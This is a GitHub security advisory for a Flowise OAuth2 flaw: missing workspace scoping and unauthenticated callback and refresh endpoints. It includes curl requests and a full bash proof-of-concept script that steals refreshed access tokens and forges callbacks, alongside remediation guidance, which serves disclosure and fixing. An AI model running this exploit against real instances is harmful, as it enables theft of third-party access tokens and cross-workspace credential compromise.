GHSA-WCH5-XP77-FXG4
Vulnerability from github – Published: 2026-08-04 18:01 – Updated: 2026-08-04 18:01Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
- Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
- Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
- Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:183-185 (callback)
const credential = await credentialRepository.findOneBy({
id: state as string
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:314-316 (refresh)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId // <-- Workspace scoping present
})
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41
export const WHITELIST_URLS = [
// ...
'/api/v1/oauth2-credential/callback', // line 40
'/api/v1/oauth2-credential/refresh', // line 41
// ...
]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next() // No JWT verification, no API key check
}
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.
POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
"redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
await credentialRepository.update(credential.id, {
encryptedData, // Contains attacker-controlled token data
updatedDate: new Date()
})
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"tokenInfo": {
"access_token": "new-access-token-value",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T12:00:00.000Z"
}
}
The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
- An OAuth2 credential configured in Workspace B (the victim)
- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json"
Expected result if credential exists and has a refresh token:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"tokenInfo": {
"access_token": "<VALID_ACCESS_TOKEN>",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T..."
}
}
Expected result if credential not found:
{
"success": false,
"message": "Credential not found"
}
Step 2 — Cross-workspace authorize (requires any valid session)
# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked:
{
"success": true,
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
"redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}
Step 3 — Forge callback to inject attacker-controlled tokens
# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.
curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
#!/usr/bin/env bash
set -euo pipefail
# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target: ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""
# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
echo " Response: ${BODY}" | head -c 500
echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
echo " This still confirms the endpoint is reachable without auth"
else
echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""
# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
echo "[2] Attempting cross-workspace authorize..."
AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
BODY=$(echo "${AUTH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
echo " Leaked authorization URL:"
echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo " ${BODY}" | head -c 500
else
echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
else
echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""
# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")
HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)
# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
echo " The server attempted to process the OAuth2 callback."
echo " With a valid authorization code, tokens would be written to the credential."
fi
echo ""
echo "=== PoC Complete ==="
Impact
| Vector | Auth Required | Impact |
|---|---|---|
Credential metadata leak via /authorize |
Low (any session) | Exposes client_id, scope, redirect_uri from any workspace's credential |
Token injection via /callback |
None | Overwrite any credential's stored OAuth2 tokens with attacker-controlled values |
Token theft via /refresh |
None | Obtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.) |
Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.
Affected Components
| File | Lines | Issue |
|---|---|---|
packages/server/src/routes/oauth2/index.ts |
80-82 | findOneBy({ id }) — no workspaceId |
packages/server/src/routes/oauth2/index.ts |
183-185 | findOneBy({ id: state }) — no workspaceId |
packages/server/src/routes/oauth2/index.ts |
314-316 | findOneBy({ id }) — no workspaceId |
packages/server/src/utils/constants.ts |
40 | /callback whitelisted from auth |
packages/server/src/utils/constants.ts |
41 | /refresh whitelisted from auth |
Remediation
- Add
workspaceIdto all credential lookups in the OAuth2 routes, matching the pattern already used inservices/credentials/index.ts:130-132:
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })
// After (fixed)
const credential = await credentialRepository.findOneBy({
id: credentialId,
workspaceId: req.user?.activeWorkspaceId
})
-
Remove
/callbackand/refreshfromWHITELIST_URLSor implement a signed, time-limited state token that authenticates the callback without a session. -
Replace the
stateparameter with a cryptographically random nonce bound to the user's session (see also Finding 8). -
Do not return
access_tokenin the/refreshresponse body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70474"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T18:01:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThree OAuth2 credential endpoints look up credentials by `id` alone with no `workspaceId` filter. Two of these endpoints (`callback`, `refresh`) are whitelisted from all authentication. This allows:\n\n1. **Cross-workspace credential access** \u2014 Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.\n2. **Unauthenticated token injection** \u2014 An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.\n3. **Unauthenticated token refresh** \u2014 An unauthenticated attacker can refresh tokens for any credential.\n\n---\n\n## Root Cause\n\n### Vulnerable code: no workspace scoping\n\nAll three OAuth2 handlers query the `Credential` table by `id` only:\n\n**`packages/server/src/routes/oauth2/index.ts:80-82`** (authorize)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n id: credentialId\n // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:183-185`** (callback)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n id: state as string\n // Missing: workspaceId filter\n})\n```\n\n**`packages/server/src/routes/oauth2/index.ts:314-316`** (refresh)\n```typescript\nconst credential = await credentialRepository.findOneBy({\n id: credentialId\n // Missing: workspaceId filter\n})\n```\n\n### Correct pattern (same codebase)\n\nThe standard credential service correctly enforces workspace isolation:\n\n**`packages/server/src/services/credentials/index.ts:130-132`**\n```typescript\nconst credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({\n id: credentialId,\n workspaceId: workspaceId // \u003c-- Workspace scoping present\n})\n```\n\n### Authentication bypass via whitelist\n\n**`packages/server/src/utils/constants.ts:40-41`**\n```typescript\nexport const WHITELIST_URLS = [\n // ...\n \u0027/api/v1/oauth2-credential/callback\u0027, // line 40\n \u0027/api/v1/oauth2-credential/refresh\u0027, // line 41\n // ...\n]\n```\n\n**`packages/server/src/index.ts:223-225`** \u2014 prefix-matched whitelist skips all auth:\n```typescript\nconst isWhitelisted = whitelistURLs.some((url) =\u003e req.path.startsWith(url))\nif (isWhitelisted) {\n next() // No JWT verification, no API key check\n}\n```\n\n---\n\n## Attack Scenarios\n\n### Scenario A: Cross-Workspace Credential Metadata Leak\n\nAn authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential\u0027s `client_id`, `scope`, and `redirect_uri`.\n\n```\nPOST /api/v1/oauth2-credential/authorize/\u003cVICTIM_CREDENTIAL_UUID\u003e\nCookie: connect.sid=\u003cATTACKER_SESSION\u003e\n```\n\n**Response:**\n```json\n{\n \"success\": true,\n \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n \"authorizationUrl\": \"https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID\u0026scope=LEAKED_SCOPE\u0026...\",\n \"redirectUri\": \"https://flowise-instance/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Scenario B: Unauthenticated Token Injection via Forged Callback\n\nThe callback endpoint requires no authentication and uses the `state` parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.\n\n```\nGET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE\u0026state=\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication required)\n```\n\nThe server exchanges the code at the credential\u0027s `accessTokenUrl`, and whatever tokens the provider returns are encrypted and stored into the victim\u0027s credential record (line 271):\n\n```typescript\nawait credentialRepository.update(credential.id, {\n encryptedData, // Contains attacker-controlled token data\n updatedDate: new Date()\n})\n```\n\n### Scenario C: Unauthenticated Token Refresh\n\nAn attacker can refresh any credential\u0027s OAuth2 tokens without authentication. The server reads the stored `refresh_token`, exchanges it at the `accessTokenUrl`, and returns fresh token metadata.\n\n```\nPOST /api/v1/oauth2-credential/refresh/\u003cVICTIM_CREDENTIAL_UUID\u003e\n(No authentication required)\n```\n\n**Response:**\n```json\n{\n \"success\": true,\n \"credentialId\": \"\u003cVICTIM_CREDENTIAL_UUID\u003e\",\n \"tokenInfo\": {\n \"access_token\": \"new-access-token-value\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600,\n \"has_new_refresh_token\": false,\n \"expires_at\": \"2026-04-13T12:00:00.000Z\"\n }\n}\n```\n\nThe fresh `access_token` is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n\n- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)\n- An OAuth2 credential configured in Workspace B (the victim)\n- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR \u2014 see Finding 4)\n\n### Step 1 \u2014 Confirm unauthenticated refresh endpoint is reachable\n\n```bash\n# No cookies, no Bearer token \u2014 completely unauthenticated\nFLOWISE_URL=\"https://TARGET_INSTANCE\"\nVICTIM_CRED_ID=\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n -H \"Content-Type: application/json\"\n```\n\n**Expected result if credential exists and has a refresh token:**\n```json\n{\n \"success\": true,\n \"message\": \"OAuth2 token refreshed successfully\",\n \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n \"tokenInfo\": {\n \"access_token\": \"\u003cVALID_ACCESS_TOKEN\u003e\",\n \"token_type\": \"Bearer\",\n \"expires_in\": 3600,\n \"has_new_refresh_token\": false,\n \"expires_at\": \"2026-04-13T...\"\n }\n}\n```\n\n**Expected result if credential not found:**\n```json\n{\n \"success\": false,\n \"message\": \"Credential not found\"\n}\n```\n\n### Step 2 \u2014 Cross-workspace authorize (requires any valid session)\n\n```bash\n# Attacker is authenticated in Workspace A\n# They target a credential UUID from Workspace B\nATTACKER_COOKIE=\"connect.sid=s%3A...\"\n\ncurl -s -X POST \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n -H \"Content-Type: application/json\"\n```\n\n**Expected result \u2014 victim credential\u0027s OAuth2 config is leaked:**\n```json\n{\n \"success\": true,\n \"credentialId\": \"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\n \"authorizationUrl\": \"https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID\u0026scope=VICTIM_SCOPES\u0026...\",\n \"redirectUri\": \"https://TARGET_INSTANCE/api/v1/oauth2-credential/callback\"\n}\n```\n\n### Step 3 \u2014 Forge callback to inject attacker-controlled tokens\n\n```bash\n# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,\n# OR intercepts a legitimate flow.\n# The state parameter is the victim credential UUID.\n\ncurl -s \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE\u0026state=${VICTIM_CRED_ID}\"\n```\n\nThe server POSTs the `code` to the credential\u0027s `accessTokenUrl`. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim\u0027s credential.\n\n### Full automated PoC script\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ---- Configuration ----\nFLOWISE_URL=\"${1:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nVICTIM_CRED_ID=\"${2:?Usage: $0 \u003cflowise_url\u003e \u003cvictim_credential_uuid\u003e [attacker_cookie]}\"\nATTACKER_COOKIE=\"${3:-}\"\n\necho \"=== OAuth2 Cross-Workspace Credential Hijacking PoC ===\"\necho \"Target: ${FLOWISE_URL}\"\necho \"Credential: ${VICTIM_CRED_ID}\"\necho \"\"\n\n# --- Attack Vector 1: Unauthenticated token refresh ---\necho \"[1] Attempting unauthenticated token refresh...\"\nREFRESH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n \"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}\" \\\n -H \"Content-Type: application/json\")\n\nHTTP_CODE=$(echo \"${REFRESH_RESP}\" | tail -1)\nBODY=$(echo \"${REFRESH_RESP}\" | head -n -1)\n\nif [ \"${HTTP_CODE}\" = \"200\" ]; then\n echo \"[!] VULNERABLE \u2014 Unauthenticated token refresh succeeded\"\n echo \" Response: ${BODY}\" | head -c 500\n echo \"\"\nelif echo \"${BODY}\" | grep -q \"Credential not found\"; then\n echo \"[*] Credential not found (UUID may be invalid)\"\nelif echo \"${BODY}\" | grep -q \"Missing required\"; then\n echo \"[*] Credential exists but has no refresh_token (no prior OAuth2 flow)\"\n echo \" This still confirms the endpoint is reachable without auth\"\nelse\n echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\nfi\necho \"\"\n\n# --- Attack Vector 2: Cross-workspace authorize (needs session) ---\nif [ -n \"${ATTACKER_COOKIE}\" ]; then\n echo \"[2] Attempting cross-workspace authorize...\"\n AUTH_RESP=$(curl -s -w \"\\n%{http_code}\" -X POST \\\n \"${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}\" \\\n -H \"Cookie: ${ATTACKER_COOKIE}\" \\\n -H \"Content-Type: application/json\")\n\n HTTP_CODE=$(echo \"${AUTH_RESP}\" | tail -1)\n BODY=$(echo \"${AUTH_RESP}\" | head -n -1)\n\n if [ \"${HTTP_CODE}\" = \"200\" ]; then\n echo \"[!] VULNERABLE \u2014 Cross-workspace credential access confirmed\"\n echo \" Leaked authorization URL:\"\n echo \"${BODY}\" | python3 -m json.tool 2\u003e/dev/null || echo \" ${BODY}\" | head -c 500\n else\n echo \"[*] HTTP ${HTTP_CODE}: ${BODY}\" | head -c 300\n fi\nelse\n echo \"[2] Skipped cross-workspace authorize (no attacker cookie provided)\"\nfi\necho \"\"\n\n# --- Attack Vector 3: Confirm callback is unauthenticated ---\necho \"[3] Confirming callback endpoint is unauthenticated...\"\nCALLBACK_RESP=$(curl -s -w \"\\n%{http_code}\" \\\n \"${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code\u0026state=${VICTIM_CRED_ID}\")\n\nHTTP_CODE=$(echo \"${CALLBACK_RESP}\" | tail -1)\n\n# Any response other than 401/403 confirms the endpoint is reachable without auth.\n# A 400 with \"token_exchange_failed\" means the endpoint processed the request\n# (tried to exchange the code) \u2014 it just failed at the external provider.\nif [ \"${HTTP_CODE}\" = \"401\" ] || [ \"${HTTP_CODE}\" = \"403\" ]; then\n echo \"[*] Callback endpoint returned ${HTTP_CODE} \u2014 auth is enforced (NOT vulnerable)\"\nelse\n echo \"[!] VULNERABLE \u2014 Callback endpoint reachable without auth (HTTP ${HTTP_CODE})\"\n echo \" The server attempted to process the OAuth2 callback.\"\n echo \" With a valid authorization code, tokens would be written to the credential.\"\nfi\n\necho \"\"\necho \"=== PoC Complete ===\"\n```\n\n---\n\n## Impact\n\n| Vector | Auth Required | Impact |\n|--------|--------------|--------|\n| Credential metadata leak via `/authorize` | Low (any session) | Exposes `client_id`, `scope`, `redirect_uri` from any workspace\u0027s credential |\n| Token injection via `/callback` | None | Overwrite any credential\u0027s stored OAuth2 tokens with attacker-controlled values |\n| Token theft via `/refresh` | None | Obtain a fresh `access_token` for any credential\u0027s connected service (Microsoft 365, Google, etc.) |\n\n**Chained impact:** An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider \u2014 without any authentication to the Flowise instance.\n\n---\n\n## Affected Components\n\n| File | Lines | Issue |\n|------|-------|-------|\n| `packages/server/src/routes/oauth2/index.ts` | 80-82 | `findOneBy({ id })` \u2014 no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 183-185 | `findOneBy({ id: state })` \u2014 no `workspaceId` |\n| `packages/server/src/routes/oauth2/index.ts` | 314-316 | `findOneBy({ id })` \u2014 no `workspaceId` |\n| `packages/server/src/utils/constants.ts` | 40 | `/callback` whitelisted from auth |\n| `packages/server/src/utils/constants.ts` | 41 | `/refresh` whitelisted from auth |\n\n---\n\n## Remediation\n\n1. **Add `workspaceId` to all credential lookups** in the OAuth2 routes, matching the pattern already used in `services/credentials/index.ts:130-132`:\n\n```typescript\n// Before (vulnerable)\nconst credential = await credentialRepository.findOneBy({ id: credentialId })\n\n// After (fixed)\nconst credential = await credentialRepository.findOneBy({\n id: credentialId,\n workspaceId: req.user?.activeWorkspaceId\n})\n```\n\n2. **Remove `/callback` and `/refresh` from `WHITELIST_URLS`** or implement a signed, time-limited state token that authenticates the callback without a session.\n\n3. **Replace the `state` parameter** with a cryptographically random nonce bound to the user\u0027s session (see also Finding 8).\n\n4. **Do not return `access_token` in the `/refresh` response body.** The token should only be stored server-side in the encrypted credential data, never sent to the caller.\n\n---",
"id": "GHSA-wch5-xp77-fxg4",
"modified": "2026-08-04T18:01:29Z",
"published": "2026-08-04T18:01:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wch5-xp77-fxg4"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Cross-Workspace OAuth2 Credential Metadata Leak"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.